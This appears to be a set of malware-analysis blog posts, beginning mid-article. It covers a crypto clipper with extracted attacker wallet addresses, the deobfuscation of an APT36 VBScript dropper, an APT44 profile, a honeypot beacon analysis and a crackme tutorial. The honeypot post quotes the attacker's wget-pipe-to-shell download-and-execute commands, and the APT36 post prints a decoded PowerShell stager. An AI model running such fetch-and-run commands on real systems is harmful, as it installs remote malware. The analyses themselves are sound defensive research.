  • validates that the clipboard bytes are text and contain only characters typical for wallet addresses (alphanumeric, : or _)
  • then performs prefix checks to identify the coin type.

Prefix checks & coin type mapping.
The malware performs a series of prefix checks to detect the wallet type. From the decompiled logic the mapping is:

Bitcoin:
(*pcVar4 - 0x31U & 0xfd) == 0 oder strncmp(pcVar4, &DAT_140004034, 3)` | (1 / 3...)

Litecoin:
strncmp(pcVar4, &DAT_14000402c, 4) oder (*pcVar4 + 0xb4U) < 2

ETH:
strncmp(pcVar4, &DAT_140004028, 2) → "0x"

DOGE:
cVar1 == 'D'

TRON:
cVar1 == 'T'

XRP:
cVar1 == 'r'

Where to find the addresses:

For each coin type the malware assembles the attacker’s address from two parts:

  • several 32-bit constants (_DAT_140004100, _DAT_140004104, …)
    eight 4-byte words = 32 ASCII characters (little-endian dword representation)
  • a short tail derived by XOR-ing bytes taken from another data blob (e.g. DAT_0x1400031c0) with 0x15
    The tail length varies (commonly 2–10 bytes depending on coin), and it completes the address (including checksum)


You can verify a single dword with Python:

python3 -c "import struct; print(struct.pack('<I', 0x71316362).decode('ascii'))"

The result:

bc1q

So the first dword decodes to bc1q, the signature prefix of a Bech32 Bitcoin address.

This is how i build the tail by merging the byte chunks:

The 32-character string obtained from the dwords is only the first part. The function then computes additional tail bytes by XOR-ing bytes from a separate data region (e.g. DAT_1400031c0) with 0x15 and appends them.
Those tail bytes complete the address (including checksum).
If you only decode the dwords, the address will fail checksum validation, you must XOR-decode and append the tail bytes to get a valid address.


Full address assembly (summary)
The malware writes eight 32-bit constants (32 ASCII chars) and then fills a small tail array with bytes computed as DAT_src[i] ^ 0x15 (tail length varies). The full address is dword_ascii + xor_tail.
It then GlobalAllocs a clipboard buffer and calls SetClipboardData(CF_TEXT, ...) to replace the clipboard contents.



To recover the tail bytes:

dump the bytes at the VA (e.g. 0x1400031c0) with a binary tool (I used radare2; you can also use Ghidra or xxd), for example:

76 78 25 2D 60 64 7D 23 25 63 

XOR each raw byte with 0x15 (the deobfuscation key embedded in the code). You can do this in CyberChef: From Hex -> XOR (key: 15 hex) -> To String.

Output:

cm08uqh60v

Appending that to the 32-char dword string yields the full Bech32 address:

bc1qrzh7d0yy8c3arqxc23twkjujxxax + cm08uqh60v = bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v

I applied the same method to other coin branches and extracted the following attacker addresses from the binary.

Extracted addresses:
I applied the same method to other coin branches and extracted the following attacker addresses from the binary:

  • Bitcoin (Bech32): bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v
  • Litecoin: LQ4B4aJqUH92BgtDseWxiCRn45Q8eHzTkH
  • Ethereum / BSC style (hex): 0x10A8B2e2790879FFCdE514DdE615b4732312252D
  • Dogecoin: DQzrwvUJTXBxAbYiynzACLntrY4i9mMs7D
  • Tron (TRX): TW93HYbyptRYsXj1rkHWyVUpps2anK12hg
  • XRP (Ripple): r9vQFVwRxSkpFavwA9HefPFkWaWBQxy4pU
  • Cardano: addr1q9atfml5cew4hx0z09xu7mj7fazv445z4xyr5gtqh6c9p4r6knhlf3jatwv7y72deah9un6yettg92vg8gskp04s2r2qren6tw

These are the final wallet addresses embedded in this sample (per the static reconstruction). I didn’t find any additional interesting functionality in the binary beyond the dropper/clipper behavior.


TL;DR

I found a C# WPF loader distributed via an Xubuntu download page that drops a native clipper payload.
The loader includes anti-VM and anti-debug checks, in-memory API patching, drops and runs a second-stage PE, and the second stage is a clipboard clipper that replaces wallet addresses with attacker-owned addresses.
I statically reconstructed the attacker wallets from embedded dwords + XOR tails and found several addresses for BTC, LTC, ETH, DOGE, TRX, XRP and Cardano. No transactions were observed at the time of analysis.


A short critique; why the threat actor did a surprisingly poor job despite compromising xubuntu.org

It’s striking how many basic operational security and quality of work mistakes this actor made, mistakes that turned what could have been a high-impact supply-chain compromise into a relatively easy forensic win for analysts.

Concrete failures observed

  • Amateur packaging: shipping a ZIP that claims to contain a torrent but actually contains an .exe and a tos.txt is a glaring red flag. That mismatched user experience (and the presence of an executable in a “torrent” download) makes the payload obvious to even casual users and automated scanners.
  • Sloppy metadata: the tos.txt claims “© 2026 Xubuntu.org” while it’s 2025. Small details like anachronistic timestamps or incorrect copyright years are low-effort giveaways that something is off.
  • Poor obfuscation / easy static recovery: the attacker embedded wallet strings as readable dwords plus simple XOR tails. Those artifacts were trivially reconstructable with basic tooling (radare2/CyberChef/Python). Even the XOR keyss were visible in the decompiled code. That means the malicious addresses, the primary goal of the clipper were recoverable without dynamic execution.
  • Malformed or inconsistent artifacts: some extracted addresses failed checksum validation (or appeared intentionally malformed). That suggests rushed assembly, faulty encoding, or placeholders left in again lowering the bar for detection and denying the attacker guaranteed success.
  • Over-reliance on a single trick: using a compromised site to host a ZIP is effective in general, but the actor did not sufficiently hide operational traces nor build fallback delivery strategies. When defenders inspected the file, the entire chain unraveled quickly.

Why these mistakes matter

  • They reduced the attacker’s window of opportunity. Instead of a stealthy supply-chain drop that could reap long-lived infections, the compromise was noisy and trivially triaged.
  • They made attribution and indicator extraction easy: embedded addresses, simple XOR keys, and clear code paths gave analysts immediate IoCs (wallets, hashes, strings).
  • They increased the chances of swift remediation by the vendor and faster takedown by infrastructure providers.

Final thought
The actor clearly reached a valuable target, the official download infrastructure, but their execution quality was low. That combination (high opportunity + poor tradecraft) is exactly what defenders want: an incident with high signal and relatively low analytical cost. The silver lining here is that sloppy attackers give security teams the evidence they need to respond quickly and to harden distribution chains for the future.

APT36 – “Abaris” Deobfuscating VB Dropper


I recently discovered a sample attributed to the threat actor APT36 (“Transparent Tribe”) on MalwareBazaar.
APT36 (aka Transparent Tribe) is a Pakistan-aligned cyber-espionage group that has been active since at least 2013 and is primarily focused on intelligence collection against targets in South Asia (government, military, diplomatic and research organizations in India and Afghanistan)
The group is known for tailored phishing campaigns and diverse staging techniques (weaponized documents, malicious installers and platform-specific lures), and has a history of delivering custom backdoors and RAT families such as variants of Crimson/Eliza-style malware.
Recently observed activity shows the actor expanding its toolset and delivery methods (including Linux desktop-lures and cloud-hosted payloads), which underlines the need to treat seemingly innocuous artifacts (obfuscated scripts, shortcut files, or odd AppData/Temp files) as potentially dangerous.


The sample turned out to be a heavily obfuscated VBScript. In this post I will walk through the manual deobfuscation steps I performed.
The SHA256 hash of the file is “d35f88dce5dcd7a1a10c05c2feba1cf478bdb8a65144f788112542949c36dd87”

I first uploaded the file to virustotal. It has been uploaded the first time yesterday (18th of October 2025).
Some AV systems already detect the file as malicious.

(note: I call this sample “Abaris” because the dropper decodes part of its payload and writes it into a file named Abaris.txt, which is later used for execution.)

If you want to download the sample or my cleaned copy, you can find them here: https://github.com/Mr128Bit/apt-malware-samples/tree/main/Pakistan/APT36/Abaris

Original filename: Pak_Afghan_War_Impact_on_Northern_Border_India.vbs. I made a copy and renamed it to ap3.vbs for analysis.

When opening the file, you immediately notice a lot of Danish-looking comments/words scattered through the source. These are purely noise, they are there to hinder analysis and evade signature detection. But underneath the noise we can still find Visual Basic constructs that we want to extract.


We can filter out those comment lines very easily.

grep -v "^'" apt33.vbs | sed '/^[[:space:]]*$/d' > apt33_clean.vbs

The output looks much cleaner now, clear VB structures are visible, although the script remains heavily obfuscated.

The next step is to remove additional noise by deleting variables or code blocks that are only used in initialization and never referenced later.

After cleanup, the following code remains:

This is already much tidier. We identified three functions of interest: Crocodilite, Subskribenten, and Cashoo. They are small and not deeply obfuscated, so we can determine their purpose fairly quickly. It’s often useful at this stage to rename obfuscated variables and functions to meaningful names.

Crocodilite

This function creates a text file and writes the passed string into it. In this sample it is used to write the content of the variable tendrilous into Abaris.txt.

' ORIGINAL
Sub Crocodilite(Tudemiklens, Fissuriform)

    Dim Sinh, Galactometer
    Set Sinh = CreateObject("Scripting.FileSystemObject")
    Set Galactometer = Sinh.CreateTextFile(Fissuriform, True)
    Galactometer.Write Tudemiklens
    Galactometer.Close

End Sub
' ADJUSTED
Sub write_to_file(text, path)
    Dim fileSysObj, file
    Set fileSysObj = CreateObject("Scripting.FileSystemObject")
    Set file = fileSysObj.CreateTextFile(path, True)
    file.Write text
    file.Close

Subskribenten

This is a simple wrapper that executes a command via WScript.Shell. It’s used to invoke the payload that was written to disk.

' ORIGINAL
Set Plenicorn = CreateObject("WScript.Shell")
...
Function Subskribenten(Tautegorical)

    Call Plenicorn.Run(Tautegorical,0)

End Function

' ADJUSTED
Set shell = CreateObject("WScript.Shell")
...
Function Execute(payload)
    Call shell.Run(payload,0)

Cashoo

A decoder routine. It extracts characters at fixed intervals from a masking string (i.e. it removes padding characters and reconstructs the hidden string). This is a classic technique to hide URLs, commands or other sensitive strings from static signature scanners.

' ORIGINAL
Function Cashoo(ByVal Microsphaeric)

    for i = 4 to len(Text) Step 4
    ' Mid(string, start, length) extract a specified amount of characters from a string
    Cashoo = Cashoo & Mid(Text,i,Alenlang) 

    Next


End Function

' ADJUSTED
Function ExtractEveryFourthChar(ByVal Text)

    for i = 4 to len(Text) Step 4
    ' Mid(string, start, length) extract a specified amount of characters from a string
    ExtractEveryFourthChar = ExtractEveryFourthChar & Mid(Text,i,Alenlang) 

    Next


End Function


I implemented a Python equivalent to decode the payload. After I finished the script I fed several encoded strings from the VB file through it.
Additionally i loaded every string found for the variable “tendrilous” into a separate file “tendrilous.txt” for decoding purposes.
You can view the script here.

Result:

$Commonplacer=[char]34;
$Rasping=$env:tmp;
$Unbefringed=gc $Rasping\Abaris.txt -Delimiter $Commonplacer;
$Emydes=$Unbefringed.'substring'(4696-1,3);
.$Emydes $Unbefringed

The Python routine works as intended: it reads Abaris.txt, extracts a three-character command name from a specific offset, and would invoke that command with the file content as parameter i.e., dynamic code execution.

I also implemented a Python equivalent for this routine; the script is available in the repository.

After running my script, the payload output looks like this:

At first glance the output looks nasty, but it can be disentangled. Don’t panic. I applied line breaks and indentation in the right places to make control flow and function calls visible.

To make the code more readable I used the following commands:

sed -i 's/;\$/;\n\$/g' "$1"
sed -i 's/;Cenogenesis/;\nCenogenesis/g' "$1"
sed -i 's/{/{\n/g' "$1"
sed -i 's/}/\n}\n/g' "$1"
sed -i 's/;function/;\nfunction/g' "$1"
sed -i 's/;while/;\nwhile/g' "$1"

The result now looks much more promising:

There is still some noise embedded in a few places. We also discovered repeated calls to the Roberts function with additional encoded strings. I wrote a Python helper to extract those strings from the file and decode them with the same Roberts / Cashoo logic.

When we run that pipeline and merge the output under the previous deobfuscated view, we obtain the following consolidated result:

Final Script

This is the final deobfuscated dropper script. From it we can conclude the following:

  • The script repeatedly attempts to download a remote file from a suspicious URL and save it locally.
  • Once the file is available, it reads parts of it, Base64-decodes contained data, and reconstructs executable PowerShell code.
  • Finally, it executes that decoded code dynamically (via dot-sourcing / Invoke-Expression style execution).
    This is a classic loader / bootstrapper pattern for delivering secondary stages of malware.

There are some formatting glitches in the decompiled output that likely arose during processing, but the overall intent is clear.

The dropper notably points at hxxps[://]zohmailcloud[.]com//cloud/Assholes[.]psm as one of the remote payload locations. I could not retrieve the file, the URL is no longer reachable but I did find a Twitter post referencing the file with MD5 7a5fe1af036b6dba35695e6d4f5cc80f.

If I manage to acquire the remote artifact later, I will write a dedicated follow-up article with a full 2nd-stage analysis.


APT44 – Sandworm Team

APT44 (Sandworm Team) – Quick Facts

  • Type: Advanced Persistent Threat (APT)
  • Aliases: Sandworm, Sandworm Team, Seashell Blizzard, Iron Viking, Telebots, Voodoo Bear, Iridium, FrozenBarents
  • Origin: Russia, linked to MUN 74455, a cyberwarfare unit of the GRU, Russia’s military intelligence service
  • Active Since: 2004
  • Primary Targets: Western corporations, government organizations, defense contractors
  • Motivation: Cybersabotage , Data theft
Tactics & Techniques (CLICK TO OPEN)

Tactics & Techniques:
Initial Access
T1190 – Exploit Public-Facing Application.
T1203 – Exploitation for Client Execution.
T1199 / related: Spearphishing / Use of malicious files (spearphishing attachments / malicious files)
Execution
T1059 – Command and Scripting Interpreter.
T1059.001 – PowerShell.
T1059.003 – Windows Command Shell.
T1059.005 – Visual Basic (VBS).
Persistence
T1543 / Create or Modify System Process (Service techniques) – z. B. Windows Service / Systemd service modifications.
T1053.005 – Scheduled Task (Scheduled Task used via GPOs / scheduled jobs).
Privilege Escalation
– (verschiedene techniques observed in campaign artifacts; see Mandiant for low-level syscall / evasive behaviors)
Defense Evasion
T1140 – Deobfuscate/Decode Files or Information (Base64, TripleDES, GZip usage).
T1202 / Obfuscated Files or Information (software packing / obfuscation).
T1562 / Impair Defenses – e.g., Disable or Modify Tools; Disable Windows Event Logging.
Credential Access
T1555.003 – Credentials from Password Stores: Credentials from Web Browsers.
T1003 (OS Credential Dumping) – e.g., LSASS memory dumping observed historically.
T1056.001 – Input Capture: Keylogging (SetWindowsHookEx keylogger observed).
Discovery
T1087.002 – Account Discovery: Domain Account discovery via LDAP queries.
T1592.002 – Gather Victim Host Information: Software.
T1018 – Remote System Discovery.
T1046 / Network Service Scanning (Active Scanning / vulnerability scanning).
Lateral Movement
T1021.002 – Remote Services: SMB/Windows Admin Shares (use of ADMIN$, net use).
T1570 – / Lateral Tool Transfer / Ingress Tool Transfer (copying payloads, using network shares).
Collection
T1213 – Data from Information Repositories (databases) – e.g., use of Adminer to exfiltrate DB data.
T1005 – Data from Local System (internal docs, files).
Exfiltration
T1041 – Exfiltration Over C2 Channel (HTTP C2 exfil observed).
Command and Control
T1071.001 – Application Layer Protocol: Web Protocols (HTTP used by BCS-server and other tools).
– Protocol Tunneling / non-standard channels have also been used in some campaigns.
Impact
T1486 – Data Encrypted for Impact (ransomware / Prestige used).
T1561.002 – Disk Wipe: Disk Structure Wipe (KillDisk/CaddyWiper usage).
T1484.001 – Domain or Tenant Policy Modification: Group Policy Modification (used to deploy wipers via GPO).
T1499 – Endpoint Denial of Service (observed in disruption campaigns).
T1491.002 – Defacement: External Defacement (mass website defacements).
Resource Development / Recon & Support (preparation)
T1583 – Acquire Infrastructure (domains, servers, covert leased infrastructure).
T1583.001 – Domains (register spoofing domains).
T1583.004 – Server (use of leased / reseller infrastructure).
T1595.002 – Active Scanning: Vulnerability Scanning (scanning target infrastructure).
Other observed behaviours / capabilities
– Use of custom destructive malware families (NotPetya, Industroyer variants, Olympic Destroyer, CaddyWiper, etc.).
– Use of third-party services for phishing campaigns and use of spoofed pages for credential harvesting.

  • Notable Campaigns:
    • Exfiltration of corporate data across multiple industries, including aerospace, energy, and technology
  • Attributed Tools & Malware:
    • BlackEnergy (BlackEnergy 3) – former backdoor/botnet framework used in attacks on Ukrainian energy suppliers (2015), among others.
    • KillDisk (various wiper variants) – Destructive component used to destroy hosts in multiple campaigns.
    • NotPetya / ExPetr (wiper masquerading as ransomware) – large-scale destruction/worm campaign in 2017.
    • Industroyer / Industroyer2 (CrashOverride) – specifically designed for industrial control systems (ICS); the Industroyer family has been observed in Ukrainian infrastructure operations.
    • Olympic Destroyer – Wiper/disruption malware used against the Pyeongchang Olympics; attribution was complicated, but often linked to Sandworm.
    • CaddyWiper / other GPO/AD wipers – modern wiper variants that have appeared in recent sabotage campaigns.
    • Infamous Chisel (Android components / Infamous Chisel family) – Persistent access/backdoor components for Android (2023 reports on Android targets).
    • SwiftSlicer / AD-viper / Active Directory wipers – local/AD-targeted wiper components that appear in attack reports in 2023–2024.
    • Custom C2/Beacon implementations & loaders (TeleBots / bespoke tooling) – Sandworm used its own C2 backdoors, beacon implementations, and droppers; TeleBots branding appears in connection with NotPetya.
    • Downloaders / droppers / Android wrappers / malicious app wrappers – previous campaigns showed downloader wrappers in Play Store apps and disguised Android apps to deliver additional components.
  • Malware Samples:

Description

APT44 (commonly tracked as Sandworm Team or GRU Unit 74455) is a state-sponsored Russian cyber-espionage and sabotage actor known for highly targeted, persistent operations against government, military, critical-infrastructure, and high-value private sector targets. The group blends sophisticated custom tooling with commodity malware and living-off-the-land techniques to gain access, escalate privileges, move laterally, and maintain stealthy persistence. Its campaigns range from long-term intelligence collection to disruptive, destructive actions, deploying modular router malware, destructive wipers, and ICS-focused toolsets when operational goals demand sabotage. Operators demonstrate strong operational security, anti-sandbox/anti-analysis measures, and careful timing to align cyber activity with geopolitical objectives.

Whisper – Interesting Sandbox evasion?


In the past few days I found something fairly interesting in my sandbox. An attacker attempted to install malware, and the initial analysis led me a bit irritated. The attacker used several techniques to prevent delivering the payload to sandboxes. In this post I only show excerpts; I also published a repository on GitHub that contains the full artifacts.

Quick overview of the key facts:

Affected service: SSH
Honeypot: Cowrie
Attacker IP: 31.170.22.205
Commands executed: (see snippet below)

wget -qO- http://31.170.22.205/dl401 | sh
wget -qO- http://31.170.22.205/dl402 | sh
wget -qO- http://31.170.22.205/dl403 | sh
wget -qO- http://31.170.22.205/dl404 | sh
wget -qO- http://31.170.22.205/dl405 | sh
wget -qO- http://31.170.22.205/dl406 | sh
wget -qO- http://31.170.22.205/dl407 | sh
wget -qO- http://31.170.22.205/dl408 | sh

The attacker tried to download a shell script. It looks like this:

cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv5
chmod +x whisper.armv5
./whisper.armv5 410
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv6
chmod +x whisper.armv6
./whisper.armv6 410
[...]


The script downloads several binaries, sets execute permissions on them, and then runs them. I tried to download those binaries myself and, oddly, every file had the exact same hash. Inspecting the file metadata revealed they are Windows executables.

I uploaded the file to VirusTotal for a quick look.

The file turned out to be Microsoft’s calc.exe, the standard Windows Calculator app. We can verify this by computing the file hash of calc.exe on a Windows machine:

That gives us confirmation. Since the attacker had already registered with our honeypot, I then attempted to download the files from the honeypot IP, which worked as expected. The attacker deliberately prevents his actual payloads from being easily analyzed by serving them only to selected targets.

Here’s a table of the downloaded binaries (click to open)

You can download them for analysis purposes here.

filenamesha256
whisper.aarch645f7dff5b5bdc2a12506cfb771e94b6ea26fec8a78f65cf927f361a39322036f4
whisper.aarch64be7a2af6f8c55bfc6d0bb259b4df37641cfb0dc9a1c94e0955784cfd9b34dc08ef
whisper.arcle750dc92038d168aa088997ea982aadf1d455ac4bc89332916a576117273610f3069f
whisper.arclehs383611fb87865bd967b6a1b2c3450e68cec14ec90abd9a790147e1544896e7b624
whisper.armv458189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f
whisper.armv51d51c313c929d64c5ebe8a5e89c28ac3e74b75698ded47d1bc1b0660adc12595
whisper.armv690bf143a03e0cb6686c32a8a77dbdad6a314a16b7991823f45f7d9cb22ba51bc
whisper.armv72679b37532e176d63c48953cb9549d48feb76f076222cb6502034b0f72ca7db1
whisper.i686326952154ef5a81c819d67f9408e866af5fe2cdb3024df3ef1d650a9932da469
whisper.m68k0f1fd9f0a99693ec551f7eb93b3247b682cb624211a3b0c9de111a8367745268
whisper.mipsd37b334ec94b56236dc008108d4a9189019f1849fb010dcf08cfcf1a7d199b53
whisper.mips641afcdc3210b47356a0f59eeffbc2f7be22c1dd7aa2cc541c0eb20db29da8280e
whisper.mips64lefa96cf3b0022711627b97d569f0c6e28cfd62e7051fdce3f0165f8dd5c4ec760
whisper.mips64len3231f781726cc8cfc002b847fc0f05a7e28ebecea95f5a03b1cdeb63cce3e9ed8c
whisper.mips64n323615d10d1ef6e57b66aa653b158cd8d57166d69cbc4c90c2b7b9dd29820fcc64
whisper.mipsleb4658234a5c300bce3fe410a55fc87a59e4be7d46f948eaff389c4c16016afaa
whisper.powerpc440fpff08d2c7f8b5679add11dd4a297dd40a0d597e92e307ccd9c0d36366b59e3c6f
whisper.powerpc64e5500af7893318f1fe0d60cff62dbebe434e5f8c42bf1b338db23858177e880894574
whisper.powerpc64e65007234970698fab486e210a65aa2a3d3daebd3eebcf4bf016e9670fa725c07d76a
whisper.powerpc64lepower890f5ccd40e0f737eb40dcf292f202c7c70f1cdc2d33bd6718c0b286007f3ce24
whisper.powerpc64power8938205ed2f664fc330e20580799445182ba840672ef8bd75ae7629e07a460a79
whisper.powerpce300c3b2b811bbfe06d0edba85e0b0d42dbffb3714dee5bdd44426a1cb4589874d3234
whisper.powerpce500mcc43f32a066112fd87f43895515d27116e40688ae47b02ce0a5b379672830a136
whisper.riscv3261db3883d792b518450a4a67cfaa4d14baec59239a967ffb30c7a116a39f00e6
whisper.riscv641a60918639c961f6814f4dc74751a926361841b66c837d544697be1d3f42594e
whisper.sh43ac847bc1351ea5275d30cf9186caf607021d7f1da1a4cafeff6886b87844f36
whisper.sparc9033caaa07477bbed8ccd9f130fd8353a81143db44555b734ed1547ef368a8dd
whisper.sparc6400a290ee2458e38a0ec78be1414f651612c51831ff741cb40d5c6a11b29a6d7c
whisper.x644dd0005c6e6d4eca722ed02fec17a689828754a66a107272c5cd62f2fec478e1

For my analysis I’ll focus on the file whisper.x64.


It’s a stripped ELF binary, a binary that has had debugging symbols and symbol names removed. That makes analysis a bit harder, but not impossible. First step: upload the file to VirusTotal.

This was the first submission of the file on VirusTotal, so there is no historical data. Several scanners flagged the binary as a DDoS agent. To find out what it actually does at runtime, I opened it in Ghidra and started looking at functions. First I checked the strings embedded in the binary.


Already we can see some interesting strings, for example:

DEFINED0040a000s_31.170.22.205_0040a000ds “31.170.22.205”“31.170.22.205”string14false
DEFINED0040a012s_/add.php?v=%u&a=%s&o=%u&e=%u_0040a012ds “/add.php?v=%u&a=%s&o=%u&e=%u”“/add.php?v=%u&a=%s&o=%u&e=%u”string29false
DEFINED0040a050s_/ping.php?v=%u&a=%s&e=%u&c=%u_0040a050ds “/ping.php?v=%u&a=%s&e=%u&c=%u”“/ping.php?v=%u&a=%s&e=%u&c=%u”string30true

From these strings we can infer a few capabilities:

  • add.php: registers the client at the C2 server
  • ping.php: sends a ping / heartbeat to the C2 server

Next I examine syscalls to get a clearer picture of the binary’s behavior.
If you want to get an overview of x64 syscalls, you can find them here.

0x31 is the syscall number for sys_bind, so we can infer socket-related functionality. I renamed the function to socket_bind in Ghidra (right-click > Rename Function) and then checked the incoming calls to see where it is used.

After jumping to function FUN_004012b1 we see the following code:

To bind a socket via syscall we need to look at the sockaddr_in layout for x64:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

Offset 0 (2 bytes): sin_family (2 / AF_INET)
Offset 2 (2 bytes): sin_port – this is where param_1 lands
Offset 4 (4 bytes): sin_addr – here it’s 0 (INADDR_ANY)

So local_28 corresponds to sin_family, local_24 to sin_addr, and local_26 to sin_port. I renamed the variables accordingly and gave the function the name create_socket.

FUN_004036d3 likely creates the socket. We can confirm that by searching inside it for syscall 0x29 (which is sys_socket). That matches, I renamed that function and fleshed out the code.

This confirms our assumption, so I can also give this function a name and complete the code as far as possible.

We still didn’t know which port this socket uses, so I looked at incoming references and found it’s called only from FUN_00401020.

That function is invoked right after the entry point, it’s effectively main. From the line iVar2 = create_socket(0x5d15); we can infer the port. 0x5d15 in the binary is not the final port number: it’s an unsigned short that gets converted with htons from host byte order to network byte order.

whisper > printf "%d\n" $(( ((0x5d15 & 0xff) << 8) | ((0x5d15 >> 8) & 0xff) ))
5469

You can convert it in bash or compute by hand: because htons swaps the two bytes on little-endian hosts, 0x5d15 becomes 0x155d, which is 5469 in decimal. This is a common pattern used, for example, to avoid running two copies of the malware, but it could also be used as a communication channel. To check that, I searched for the sys_listen syscall (0x32). There is no listen syscall in the binary, so it’s safe to assume this is an execution lock rather than a listening server. The decompiled code also confirms this.

iVar2 is the return status of the socket creation; if iVar2 == -1 socket creation failed and the program exits.

Now let’s look more closely at the block of code that follows a successful socket creation. I’ll skip FUN_0040123 and FUN_00401246 because they only initialize and destroy a buffer, they don’t add relevant functionality.

To understand the logic I examined four helper functions: FUN_0040120a, FUN_004013c6, FUN_004014e2, and FUN_00404634. I started with FUN_00404634 because it has the most incoming references.

This one is most likely a sleep function. If param_1 == 0 nothing happens, that’s typical for sleep wrappers. If param_1 != 0, the routine calls into the kernel through several helper calls and performs a timed wait.

Inside it calls FUN_00404f1f(0x11, 0, local_28), that’s a wrapper for a syscall. The parameter 0x11 is the syscall we care about; on x86-64 that’s sys_rt_sigtimedwait. rt_sigtimedwait lets you wait for signals with a timeout, so the code can sleep while still being able to respond to signals (from another thread, an IPC, or a realtime signal). Many analysis and monitoring tools hook libc sleep functions like nanosleep(); by using direct syscalls the malware can bypass those hooks and make runtime analysis harder.

After that the code performs what looks like a timer or remaining-time check, it computes elapsed time or remaining time and returns that value. I renamed this helper to sleep for clarity.


FUN_0040120a

FUN_0040120a uses syscall 0xc9, which is a time-related syscall. The function measures elapsed time across a 10-second delay, a typical sandbox-evasion trick. The code checks the difference and only executes the following block if the delta indicates the sleep actually occurred. I renamed this to time_passed_check.


FUN_004013c6

FUN_004013c6 is straightforward: it performs a GET request to the C2’s add.php. That is the client registration step. The GET parameters v, a, o, and e map roughly as follows:

  • v: fixed value
  • a: CPU architecture (agent string)
  • o: fixed value
  • e: the value passed to the binary at execution time

I renamed the function to add_client.


FUN_004014e2

The last function, FUN_004014e2, is similar to add_client. It sends a ping to the C2 server and returns a boolean indicating success or failure. I renamed it ping_cnc.

I’ve now analyzed and named all four helper functions used by FUN_0040125c.
Here’s the result:

Step-by-step:

First, the binary checks the result of the time-check. If that check passes, it registers the client with the C2.

Afterwards, the binary pings the C2 server every 300 seconds. The loop contains a counter that runs 576 iterations in total. The full runtime is therefore limited to exactly 48 hours (300 * 576 = 172,800 seconds = 48 hours). I named the overall routine add_and_ping.

Looking into the main function, we now have a structure that ties everything together:

Note: I intentionally didn’t discuss every single helper; I renamed the lesser functions for clarity but didn’t dig into those that aren’t relevant to this write-up.


Conclusion

The binary’s functionality is limited. On startup it runs a time-difference check designed to detect sandboxing, using sys_rt_sigtimedwait to make sleep detection harder. If the sample concludes the timing check is okay, it registers with the C2 and then pings the C2 every five minutes for 48 hours. This is a beacon-only sample with no additional backdoor capabilities in the analyzed build.

Interpretations

Because the attacker used multiple techniques to keep their real binaries out of standard analysis, this likely serves as a sandbox-evasion measure. The operator can watch the incoming pings from infected machines and, after confirming persistent, consistent check-ins over the 48-hour window, choose targets for a follow-up payload deployment. That prevents premature sandboxing and analysis of the actual payloads.

An argument against that theory is the lack of any attempt to establish persistent access in this sample, that would make later deployment harder if defenders notice and block the operation early.

Another hypothesis is that the operator collects telemetry to detect whether the binary is being detected and if it survives for a desired runtime. That would explain the lack of persistence attempts, but I consider this less likely because there are more efficient ways to perform that kind of telemetry.

References:

Crackme – RodrigoTeixeira’s Very easy disassembly execise


Since I want to dive deeper into reverse engineering, I’ve decided to regularly solve CrackMe challenges from https://crackmes.one; I’ll begin with low-difficulty ones and gradually work my way up to harder challenges.

I chose this approach because it’s a practical way to build and demonstrate the fundamentals, reverse engineering can be overwhelming at first, so starting with simpler tasks helps establish a reliable foundation.

Today’s CrackMe is by Rodrigo Teixeira and is rated 1.1 in difficulty; you can find it here: https://crackmes.one/crackme/68a346c48fac2855fe6fb6df.

Because this is a fairly simple exercise, I’ll analyze it with radare2 instead of Ghidra, partly to avoid making the task trivial and I’ll concentrate on how to translate assembly into readable pseudo-C code step by step.
I recommend gaining a basic understanding of Assembly and the C programming language before diving in. I’ll keep this write-up as beginner-friendly as possible and have included links to resources that explain any terminology that might be unfamiliar to newcomers, if you have any questions, feel free to contact me.

If you want to dive deeper into radare2 commands, i recommend reading it’s official documentation or the following cheatsheet.
Here is a list of references for research used in this WriteUp:

– General Reverse Engineering & x86 Assembly

Intel® 64 and IA-32 Architectures Software Developer’s Manuals
https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
x86 Instruction Reference
https://wiki.osdev.org/X86-64
PC Assembly Language by Paul A. Carter
https://pacman128.github.io/static/pcasm-book.pdf

– Windows Internals & PE File Format

Microsoft PE/COFF Specification
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format

– radare2

radare2 Book (official)
https://book.rada.re
r2wiki Cheat Sheet
https://r2wiki.readthedocs.io/en/latest/home/misc/cheatsheet/

– Calling Conventions & ABI

System V i386 ABI
https://refspecs.linuxfoundation.org/elf/abi386-4.pdf
Microsoft x64 Calling Convention
https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention

– Beginner-Friendly Practical Resources

Crackmes.one Platform
https://crackmes.one
0x00sec Reverse Engineering Category
https://0x00sec.org/c/reverse-engineering/
OpenSecurityTraining: Intro to x86
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch1001_x86-64_Asm+2021_v1/about

After downloading the binary, the first thing I’ll do is launch radare2 with the -A option to run an automatic analysis pass.

Once radare2 has loaded the binary, you can type i to display detailed information about the loaded excutable.

The binary is a Windows Portable Executable (PE) file. A Portable Executable file is a format used for executable and object files in Windows operating systems, based on the Common Object File Format (COFF). It’s used for files such as .exe, .dll, .sys, and others. The structure begins with a 64-byte MS-DOS header starting with the characters “MZ” (0x5A4D) and includes an offset field (e_lfanew) that points to the actual PE header.
In PE files, it’s important to distinguish between file offsets (positions in the raw file) and virtual addresses (VA), which are used once the file is loaded into memory.
In radare2, s 0 moves to the file offset 0x0, while s baddr jumps to the binary’s base virtual address (usually 0x00400000 for Windows executables).

You can inspect the e_lfanew field with:

pv4 @ 0x3c

This gives the offset to the PE header.
If the result is 0xffffffff, it typically means the memory region isn’t mapped or is filled with placeholder bytes (0xFF).

We can also verify this by entering the following command:

s 0
# Shows the MS-DOS header ("MZ ...")
px 64 @ 0 

As expected, you can see the “MZ” signature (0x4D5A) at the beginning of the header.
PE files (like all Windows binaries) use little-endian byte order, meaning the least significant byte comes first.
In radare2:

px 4 @ 0x3c    ; shows raw bytes (in little-endian order)
pv4 @ 0x3c     ; interprets those 4 bytes as a 32-bit integer

You can also use pf to parse structured data, for example:

pf 2s e_magic; 58x; 4u e_lfanew @ 0

